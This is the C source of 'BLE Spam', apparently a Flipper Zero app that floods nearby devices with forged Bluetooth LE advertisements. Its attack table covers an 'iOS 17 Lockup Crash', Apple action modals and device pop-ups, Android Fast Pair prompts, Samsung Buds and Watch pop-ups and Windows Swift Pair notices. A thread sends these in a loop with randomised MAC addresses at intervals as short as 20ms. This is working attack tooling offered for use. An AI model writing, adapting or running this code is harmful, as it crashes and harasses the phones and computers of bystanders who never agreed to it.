ble_spam.c 18 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <gui/elements.h>
  5. #include "protocols/_protocols.h"
  6. // Hacked together by @Willy-JL
  7. // Custom adv API by @Willy-JL (idea by @xMasterX)
  8. // iOS 17 Crash by @ECTO-1A
  9. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  10. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  11. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  12. static Attack attacks[] = {
  13. {
  14. .title = "The Kitchen Sink",
  15. .text = "Flood all attacks at once",
  16. .protocol = NULL,
  17. .payload =
  18. {
  19. .random_mac = true,
  20. .cfg = {},
  21. },
  22. },
  23. {
  24. .title = "iOS 17 Lockup Crash",
  25. .text = "Newer iPhones, long range",
  26. .protocol = &protocol_continuity,
  27. .payload =
  28. {
  29. .random_mac = false,
  30. .cfg =
  31. {
  32. .continuity =
  33. {
  34. .type = ContinuityTypeCustomCrash,
  35. .data = {},
  36. },
  37. },
  38. },
  39. },
  40. {
  41. .title = "Apple Action Modal",
  42. .text = "Lock cooldown, long range",
  43. .protocol = &protocol_continuity,
  44. .payload =
  45. {
  46. .random_mac = false,
  47. .cfg =
  48. {
  49. .continuity =
  50. {
  51. .type = ContinuityTypeNearbyAction,
  52. .data = {},
  53. },
  54. },
  55. },
  56. },
  57. {
  58. .title = "Apple Device Popup",
  59. .text = "No cooldown, close range",
  60. .protocol = &protocol_continuity,
  61. .payload =
  62. {
  63. .random_mac = false,
  64. .cfg =
  65. {
  66. .continuity =
  67. {
  68. .type = ContinuityTypeProximityPair,
  69. .data = {},
  70. },
  71. },
  72. },
  73. },
  74. {
  75. .title = "Android Device Connect",
  76. .text = "Reboot cooldown, long range",
  77. .protocol = &protocol_fastpair,
  78. .payload =
  79. {
  80. .random_mac = true,
  81. .cfg =
  82. {
  83. .fastpair = {},
  84. },
  85. },
  86. },
  87. {
  88. .title = "Samsung Buds Popup",
  89. .text = "No cooldown, long range",
  90. .protocol = &protocol_easysetup,
  91. .payload =
  92. {
  93. .random_mac = true,
  94. .cfg =
  95. {
  96. .easysetup =
  97. {
  98. .type = EasysetupTypeBuds,
  99. .data = {},
  100. },
  101. },
  102. },
  103. },
  104. {
  105. .title = "Samsung Watch Pair",
  106. .text = "No cooldown, long range",
  107. .protocol = &protocol_easysetup,
  108. .payload =
  109. {
  110. .random_mac = true,
  111. .cfg =
  112. {
  113. .easysetup =
  114. {
  115. .type = EasysetupTypeWatch,
  116. .data = {},
  117. },
  118. },
  119. },
  120. },
  121. {
  122. .title = "Windows Device Found",
  123. .text = "No cooldown, short range",
  124. .protocol = &protocol_swiftpair,
  125. .payload =
  126. {
  127. .random_mac = true,
  128. .cfg =
  129. {
  130. .swiftpair = {},
  131. },
  132. },
  133. },
  134. };
  135. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  136. static uint16_t delays[] = {20, 50, 100, 200};
  137. typedef struct {
  138. Ctx ctx;
  139. View* main_view;
  140. bool lock_warning;
  141. uint8_t lock_count;
  142. FuriTimer* lock_timer;
  143. bool resume;
  144. bool advertising;
  145. uint8_t delay;
  146. FuriThread* thread;
  147. int8_t index;
  148. } State;
  149. NotificationMessage blink_message = {
  150. .type = NotificationMessageTypeLedBlinkStart,
  151. .data.led_blink.color = LightBlue | LightGreen,
  152. .data.led_blink.on_time = 10,
  153. .data.led_blink.period = 100,
  154. };
  155. const NotificationSequence blink_sequence = {
  156. &blink_message,
  157. &message_do_not_reset,
  158. NULL,
  159. };
  160. static void start_blink(State* state) {
  161. uint16_t period = delays[state->delay];
  162. if(period <= 100) period += 30;
  163. blink_message.data.led_blink.period = period;
  164. notification_message_block(state->ctx.notification, &blink_sequence);
  165. }
  166. static void stop_blink(State* state) {
  167. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  168. }
  169. static int32_t adv_thread(void* _ctx) {
  170. State* state = _ctx;
  171. uint8_t size;
  172. uint16_t delay;
  173. uint8_t* packet;
  174. uint8_t mac[GAP_MAC_ADDR_SIZE];
  175. Payload* payload = &attacks[state->index].payload;
  176. const Protocol* protocol = attacks[state->index].protocol;
  177. if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  178. if(state->ctx.led_indicator) start_blink(state);
  179. while(state->advertising) {
  180. if(protocol) {
  181. protocol->make_packet(&size, &packet, &payload->cfg);
  182. } else {
  183. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  184. }
  185. furi_hal_bt_custom_adv_set(packet, size);
  186. free(packet);
  187. if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  188. delay = delays[state->delay];
  189. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  190. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  191. furi_hal_bt_custom_adv_stop();
  192. }
  193. if(state->ctx.led_indicator) stop_blink(state);
  194. return 0;
  195. }
  196. static void toggle_adv(State* state) {
  197. if(state->advertising) {
  198. state->advertising = false;
  199. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  200. furi_thread_join(state->thread);
  201. if(state->resume) furi_hal_bt_start_advertising();
  202. } else {
  203. state->advertising = true;
  204. state->resume = furi_hal_bt_is_active();
  205. furi_hal_bt_stop_advertising();
  206. furi_thread_start(state->thread);
  207. }
  208. }
  209. #define PAGE_MIN (-4)
  210. #define PAGE_MAX ATTACKS_COUNT
  211. enum {
  212. PageHelpApps = PAGE_MIN,
  213. PageHelpDelay,
  214. PageHelpDistance,
  215. PageHelpInfoConfig,
  216. PageStart = 0,
  217. PageEnd = ATTACKS_COUNT - 1,
  218. PageAboutCredits = PAGE_MAX,
  219. };
  220. static void draw_callback(Canvas* canvas, void* _ctx) {
  221. State* state = *(State**)_ctx;
  222. const char* back = "Back";
  223. const char* next = "Next";
  224. if(state->index < 0) {
  225. back = "Next";
  226. next = "Back";
  227. }
  228. switch(state->index) {
  229. case PageStart - 1:
  230. next = "Spam";
  231. break;
  232. case PageStart:
  233. back = "Help";
  234. break;
  235. case PageEnd:
  236. next = "About";
  237. break;
  238. case PageEnd + 1:
  239. back = "Spam";
  240. break;
  241. }
  242. const Attack* attack =
  243. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  244. const Payload* payload = attack ? &attack->payload : NULL;
  245. const Protocol* protocol = attack ? attack->protocol : NULL;
  246. canvas_set_font(canvas, FontSecondary);
  247. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  248. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  249. switch(state->index) {
  250. case PageHelpApps:
  251. canvas_set_font(canvas, FontBatteryPercent);
  252. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  253. elements_text_box(
  254. canvas,
  255. 4,
  256. 16,
  257. 120,
  258. 48,
  259. AlignLeft,
  260. AlignTop,
  261. "\e#Some Apps\e# interfere\n"
  262. "with the attacks, stay on\n"
  263. "homescreen for best results",
  264. false);
  265. break;
  266. case PageHelpDelay:
  267. canvas_set_font(canvas, FontBatteryPercent);
  268. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  269. elements_text_box(
  270. canvas,
  271. 4,
  272. 16,
  273. 120,
  274. 48,
  275. AlignLeft,
  276. AlignTop,
  277. "\e#Delay\e# is time between\n"
  278. "attack attempts (top right),\n"
  279. "keep 20ms for best results",
  280. false);
  281. break;
  282. case PageHelpDistance:
  283. canvas_set_font(canvas, FontBatteryPercent);
  284. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  285. elements_text_box(
  286. canvas,
  287. 4,
  288. 16,
  289. 120,
  290. 48,
  291. AlignLeft,
  292. AlignTop,
  293. "\e#Distance\e# varies greatly:\n"
  294. "some are long range (>30 m)\n"
  295. "others are close range (<1 m)",
  296. false);
  297. break;
  298. case PageHelpInfoConfig:
  299. canvas_set_font(canvas, FontBatteryPercent);
  300. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  301. elements_text_box(
  302. canvas,
  303. 4,
  304. 16,
  305. 120,
  306. 48,
  307. AlignLeft,
  308. AlignTop,
  309. "See \e#more info\e# and change\n"
  310. "\e#attack options\e# by holding\n"
  311. "Ok on each attack page",
  312. false);
  313. break;
  314. case PageAboutCredits:
  315. canvas_set_font(canvas, FontBatteryPercent);
  316. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  317. elements_text_box(
  318. canvas,
  319. 4,
  320. 16,
  321. 122,
  322. 48,
  323. AlignLeft,
  324. AlignTop,
  325. "App+Spam: \e#WillyJL\e# XFW\n"
  326. "Apple+Crash: \e#ECTO-1A\e#\n"
  327. "Android+Win: \e#Spooks4576\e#\n"
  328. " Version \e#3.3\e#",
  329. false);
  330. break;
  331. default: {
  332. if(!attack) break;
  333. if(state->ctx.lock_keyboard && !state->advertising) {
  334. // Forgive me Lord for I have sinned by handling state in draw
  335. toggle_adv(state);
  336. }
  337. char str[32];
  338. canvas_set_font(canvas, FontBatteryPercent);
  339. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  340. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  341. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  342. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  343. canvas_set_font(canvas, FontBatteryPercent);
  344. snprintf(
  345. str,
  346. sizeof(str),
  347. "%02i/%02i: %s",
  348. state->index + 1,
  349. ATTACKS_COUNT,
  350. protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
  351. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  352. canvas_set_font(canvas, FontPrimary);
  353. canvas_draw_str(canvas, 4, 33, attack->title);
  354. canvas_set_font(canvas, FontSecondary);
  355. canvas_draw_str(canvas, 4, 46, attack->text);
  356. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  357. break;
  358. }
  359. }
  360. if(state->index > PAGE_MIN) {
  361. elements_button_left(canvas, back);
  362. }
  363. if(state->index < PAGE_MAX) {
  364. elements_button_right(canvas, next);
  365. }
  366. if(state->lock_warning) {
  367. canvas_set_font(canvas, FontSecondary);
  368. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  369. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  370. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  371. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  372. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  373. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  374. canvas_draw_dot(canvas, 17, 61);
  375. }
  376. }
  377. static bool input_callback(InputEvent* input, void* _ctx) {
  378. View* view = _ctx;
  379. State* state = *(State**)view_get_model(view);
  380. bool consumed = false;
  381. if(state->ctx.lock_keyboard) {
  382. consumed = true;
  383. with_view_model(
  384. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  385. if(state->lock_count == 0) {
  386. furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
  387. }
  388. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  389. state->lock_count++;
  390. }
  391. if(state->lock_count >= 3) {
  392. furi_timer_start(state->lock_timer, 1);
  393. }
  394. } else if(
  395. input->type == InputTypeShort || input->type == InputTypeLong ||
  396. input->type == InputTypeRepeat) {
  397. consumed = true;
  398. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  399. bool advertising = state->advertising;
  400. switch(input->key) {
  401. case InputKeyOk:
  402. if(is_attack) {
  403. if(input->type == InputTypeLong) {
  404. if(advertising) toggle_adv(state);
  405. state->ctx.attack = &attacks[state->index];
  406. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  407. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  408. } else if(input->type == InputTypeShort) {
  409. toggle_adv(state);
  410. }
  411. }
  412. break;
  413. case InputKeyUp:
  414. if(is_attack && state->delay < COUNT_OF(delays) - 1) {
  415. state->delay++;
  416. if(advertising) start_blink(state);
  417. }
  418. break;
  419. case InputKeyDown:
  420. if(is_attack && state->delay > 0) {
  421. state->delay--;
  422. if(advertising) start_blink(state);
  423. }
  424. break;
  425. case InputKeyLeft:
  426. if(state->index > PAGE_MIN) {
  427. if(advertising) toggle_adv(state);
  428. state->index--;
  429. }
  430. break;
  431. case InputKeyRight:
  432. if(state->index < PAGE_MAX) {
  433. if(advertising) toggle_adv(state);
  434. state->index++;
  435. }
  436. break;
  437. case InputKeyBack:
  438. if(advertising) toggle_adv(state);
  439. consumed = false;
  440. break;
  441. default:
  442. break;
  443. }
  444. }
  445. view_commit_model(view, consumed);
  446. return consumed;
  447. }
  448. static void lock_timer_callback(void* _ctx) {
  449. State* state = _ctx;
  450. if(state->lock_count < 3) {
  451. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  452. } else {
  453. state->ctx.lock_keyboard = false;
  454. }
  455. with_view_model(
  456. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  457. state->lock_count = 0;
  458. }
  459. static bool back_event_callback(void* _ctx) {
  460. Ctx* ctx = _ctx;
  461. return scene_manager_handle_back_event(ctx->scene_manager);
  462. }
  463. int32_t ble_spam(void* p) {
  464. UNUSED(p);
  465. State* state = malloc(sizeof(State));
  466. state->thread = furi_thread_alloc();
  467. furi_thread_set_callback(state->thread, adv_thread);
  468. furi_thread_set_context(state->thread, state);
  469. furi_thread_set_stack_size(state->thread, 4096);
  470. state->ctx.led_indicator = true;
  471. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  472. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  473. Gui* gui = furi_record_open(RECORD_GUI);
  474. state->ctx.view_dispatcher = view_dispatcher_alloc();
  475. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  476. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx);
  477. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  478. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  479. state->main_view = view_alloc();
  480. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  481. with_view_model(
  482. state->main_view, State * *model, { *model = state; }, false);
  483. view_set_context(state->main_view, state->main_view);
  484. view_set_draw_callback(state->main_view, draw_callback);
  485. view_set_input_callback(state->main_view, input_callback);
  486. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  487. state->ctx.byte_input = byte_input_alloc();
  488. view_dispatcher_add_view(
  489. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  490. state->ctx.submenu = submenu_alloc();
  491. view_dispatcher_add_view(
  492. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  493. state->ctx.text_input = text_input_alloc();
  494. view_dispatcher_add_view(
  495. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  496. state->ctx.variable_item_list = variable_item_list_alloc();
  497. view_dispatcher_add_view(
  498. state->ctx.view_dispatcher,
  499. ViewVariableItemList,
  500. variable_item_list_get_view(state->ctx.variable_item_list));
  501. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  502. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  503. view_dispatcher_run(state->ctx.view_dispatcher);
  504. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  505. byte_input_free(state->ctx.byte_input);
  506. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  507. submenu_free(state->ctx.submenu);
  508. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  509. text_input_free(state->ctx.text_input);
  510. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  511. variable_item_list_free(state->ctx.variable_item_list);
  512. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  513. view_free(state->main_view);
  514. scene_manager_free(state->ctx.scene_manager);
  515. view_dispatcher_free(state->ctx.view_dispatcher);
  516. furi_record_close(RECORD_GUI);
  517. furi_record_close(RECORD_NOTIFICATION);
  518. furi_timer_free(state->lock_timer);
  519. furi_thread_free(state->thread);
  520. free(state);
  521. return 0;
  522. }